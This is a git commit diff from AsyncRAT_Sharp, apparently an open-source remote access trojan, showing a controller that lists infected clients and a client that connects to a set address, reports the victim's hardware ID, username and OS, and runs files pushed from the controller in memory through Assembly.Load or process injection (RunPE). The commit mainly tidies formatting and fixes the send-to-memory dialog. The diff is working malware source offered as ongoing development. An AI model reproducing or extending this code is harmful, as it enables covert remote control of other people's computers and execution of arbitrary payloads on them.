Clean the code.
Fixed SendToMemory dialog bug.
This commit is contained in:
NYAN CAT 2019-02-06 08:11:10 -08:00
parent e9d1f6932c
commit cda9bb7d43
5 changed files with 67 additions and 57 deletions

View File

@ -217,28 +217,31 @@ namespace AsyncRAT_Sharp
{ {
SendFileToMemory SF = new SendFileToMemory(); SendFileToMemory SF = new SendFileToMemory();
SF.ShowDialog(); SF.ShowDialog();
MsgPack msgpack = new MsgPack(); if (SF.toolStripStatusLabel1.Text.Length > 0 && SF.toolStripStatusLabel1.ForeColor == Color.Green)
msgpack.ForcePathObject("Packet").AsString = "sendMemory";
msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(SF.toolStripStatusLabel1.Tag.ToString()));
if (SF.comboBox1.SelectedIndex == 0)
{ {
msgpack.ForcePathObject("Inject").AsString = ""; MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Plugin").SetAsBytes(new byte[1]); msgpack.ForcePathObject("Packet").AsString = "sendMemory";
} msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(SF.toolStripStatusLabel1.Tag.ToString()));
else if (SF.comboBox1.SelectedIndex == 0)
{
msgpack.ForcePathObject("Inject").AsString = SF.comboBox2.Text;
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin);
}
foreach (ListViewItem C in listView1.SelectedItems)
{
Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; msgpack.ForcePathObject("Inject").AsString = "";
CL.BeginSend(msgpack.Encode2Bytes()); msgpack.ForcePathObject("Plugin").SetAsBytes(new byte[1]);
CL.LV.ForeColor = Color.Red; }
}); else
{
msgpack.ForcePathObject("Inject").AsString = SF.comboBox2.Text;
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin);
}
foreach (ListViewItem C in listView1.SelectedItems)
{
Task.Run(() =>
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Red;
});
}
} }
SF.Close(); SF.Close();
} }

View File

@ -13,18 +13,18 @@ namespace AsyncRAT_Sharp.Handle_Packet
{ {
try try
{ {
MsgPack unpack_msgpack = new MsgPack(); MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes(Data); unpack_msgpack.DecodeFromBytes(Data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString) switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{ {
case "ClientInfo": case "ClientInfo":
if (Program.form1.listView1.InvokeRequired) if (Program.form1.listView1.InvokeRequired)
{ {
Program.form1.listView1.BeginInvoke((MethodInvoker)(() => Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{ {
Client.LV = new ListViewItem(); Client.LV = new ListViewItem();
Client.LV.Tag = Client; Client.LV.Tag = Client;
Client.LV.Text = string.Format("{0}:{1}",Client.Client.RemoteEndPoint.ToString().Split(':')[0], Client.Client.LocalEndPoint.ToString().Split(':')[1]); Client.LV.Text = string.Format("{0}:{1}", Client.Client.RemoteEndPoint.ToString().Split(':')[0], Client.Client.LocalEndPoint.ToString().Split(':')[1]);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
@ -32,13 +32,13 @@ namespace AsyncRAT_Sharp.Handle_Packet
Settings.Online.Add(Client); Settings.Online.Add(Client);
})); }));
} }
break; break;
case "Ping": case "Ping":
{ {
Debug.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString); Debug.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
} }
break; break;
case "Received": case "Received":
{ {
@ -51,9 +51,9 @@ namespace AsyncRAT_Sharp.Handle_Packet
} }
} }
break; break;
} }
} }
catch(Exception ex) catch (Exception ex)
{ {
Debug.WriteLine(ex.Message); Debug.WriteLine(ex.Message);
} }

View File

@ -18,8 +18,8 @@ namespace AsyncRAT_Sharp.Sockets
private bool BufferRecevied { get; set; } private bool BufferRecevied { get; set; }
private MemoryStream MS { get; set; } private MemoryStream MS { get; set; }
public ListViewItem LV { get; set; } public ListViewItem LV { get; set; }
// private event ReadEventHandler Read; // private event ReadEventHandler Read;
// private delegate void ReadEventHandler(Clients client, byte[] data); // private delegate void ReadEventHandler(Clients client, byte[] data);
private object SendSync { get; set; } private object SendSync { get; set; }

View File

@ -21,6 +21,8 @@
<DefineConstants>DEBUG;TRACE</DefineConstants> <DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport> <ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel> <WarningLevel>4</WarningLevel>
<DocumentationFile>
</DocumentationFile>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "> <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>x86</PlatformTarget> <PlatformTarget>x86</PlatformTarget>

View File

@ -23,6 +23,7 @@ using System.Security.Cryptography;
namespace Client namespace Client
{ {
/// The Main Settings
class Settings class Settings
{ {
public static readonly string IP = "127.0.0.1"; public static readonly string IP = "127.0.0.1";
@ -30,6 +31,8 @@ namespace Client
public static readonly string Version = "0.2.2"; public static readonly string Version = "0.2.2";
} }
/// The Main Class
/// Contains all methods for socket and reading the packets
class Program class Program
{ {
public static Socket Client { get; set; } public static Socket Client { get; set; }
@ -49,16 +52,17 @@ namespace Client
} }
} }
/// Initialization variables and connect to socket.
public static void InitializeClient() public static void InitializeClient()
{ {
try try
{ {
Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{ {
ReceiveBufferSize = 50 * 1024, ReceiveBufferSize = 50 * 1024,
SendBufferSize = 50 * 1024, SendBufferSize = 50 * 1024,
ReceiveTimeout = -1, ReceiveTimeout = -1,
SendTimeout = -1, SendTimeout = -1,
}; };
Client.Connect(Settings.IP, Settings.Port); Client.Connect(Settings.IP, Settings.Port);
Debug.WriteLine("Connected!"); Debug.WriteLine("Connected!");
@ -66,7 +70,7 @@ namespace Client
Buffersize = 0; Buffersize = 0;
BufferRecevied = false; BufferRecevied = false;
MS = new MemoryStream(); MS = new MemoryStream();
SendSync = new object(); SendSync = new object();
BeginSend(SendInfo()); BeginSend(SendInfo());
TimerCallback T = Ping; TimerCallback T = Ping;
Tick = new System.Threading.Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000)); Tick = new System.Threading.Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000));
@ -80,6 +84,7 @@ namespace Client
} }
} }
/// Cleanup everything and start to connect again.
public static void Reconnect() public static void Reconnect()
{ {
if (Client.Connected) return; if (Client.Connected) return;
@ -88,11 +93,8 @@ namespace Client
try try
{ {
if (Client != null) Client?.Close();
{ Client?.Dispose();
Client.Close();
Client.Dispose();
}
} }
catch { } catch { }
@ -101,13 +103,14 @@ namespace Client
InitializeClient(); InitializeClient();
} }
/// Method to send our ID to server's listview.
private static byte[] SendInfo() private static byte[] SendInfo()
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "ClientInfo"; msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
msgpack.ForcePathObject("HWID").AsString = HWID(); msgpack.ForcePathObject("HWID").AsString = HWID();
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString(); msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString()+ " " + Environment.Is64BitOperatingSystem.ToString().Replace("True","64bit").Replace("False","32bit"); msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString() + " " + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
return msgpack.Encode2Bytes(); return msgpack.Encode2Bytes();
} }
@ -132,6 +135,8 @@ namespace Client
return strResult.ToString().Substring(0, 12).ToUpper(); return strResult.ToString().Substring(0, 12).ToUpper();
} }
/// get the length of the buffer by reading byte by byte [1]
/// until we get the full size.
public static void ReadServertData(IAsyncResult ar) public static void ReadServertData(IAsyncResult ar)
{ {
try try
@ -195,6 +200,7 @@ namespace Client
} }
} }
/// Handle the packet
public static void Read(object Data) public static void Read(object Data)
{ {
try try
@ -238,14 +244,13 @@ namespace Client
Thread thread = null; Thread thread = null;
if (Injection.Length == 0) if (Injection.Length == 0)
{ {
thread = new Thread(new ParameterizedThreadStart(SendToMemory)); thread = new Thread(new ParameterizedThreadStart(SendToMemory));
} }
else else
{ {
thread = new Thread(new ParameterizedThreadStart(RunPE)); thread = new Thread(new ParameterizedThreadStart(RunPE));
} }
thread.Start(parameters); thread.Start(parameters);
} }
break; break;
@ -304,8 +309,7 @@ namespace Client
private static void SendToMemory(object obj) private static void SendToMemory(object obj)
{ {
object[] Obj = (object[])obj; object[] Obj = (object[])obj;
var Buffer = (byte[])Obj[0]; byte[] Buffer = (byte[])Obj[0];
var Injection = (string)Obj[1];
Assembly Loader = Assembly.Load(Buffer); Assembly Loader = Assembly.Load(Buffer);
object[] Parameters = null; object[] Parameters = null;
if (Loader.EntryPoint.GetParameters().Length > 0) if (Loader.EntryPoint.GetParameters().Length > 0)
@ -313,7 +317,6 @@ namespace Client
Parameters = new object[] { new string[] { null } }; Parameters = new object[] { new string[] { null } };
} }
Loader.EntryPoint.Invoke(null, Parameters); Loader.EntryPoint.Invoke(null, Parameters);
} }
private static void RunPE(object obj) private static void RunPE(object obj)
@ -332,12 +335,14 @@ namespace Client
public static void Ping(object obj) public static void Ping(object obj)
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping"; msgpack.ForcePathObject("Packet").AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = DateTime.Now.ToLongTimeString().ToString(); msgpack.ForcePathObject("Message").AsString = DateTime.Now.ToLongTimeString().ToString();
BeginSend(msgpack.Encode2Bytes()); BeginSend(msgpack.Encode2Bytes());
} }
/// Send
/// adding the buffersize in the beginning of the stream
public static void BeginSend(byte[] buffer) public static void BeginSend(byte[] buffer)
{ {
lock (SendSync) lock (SendSync)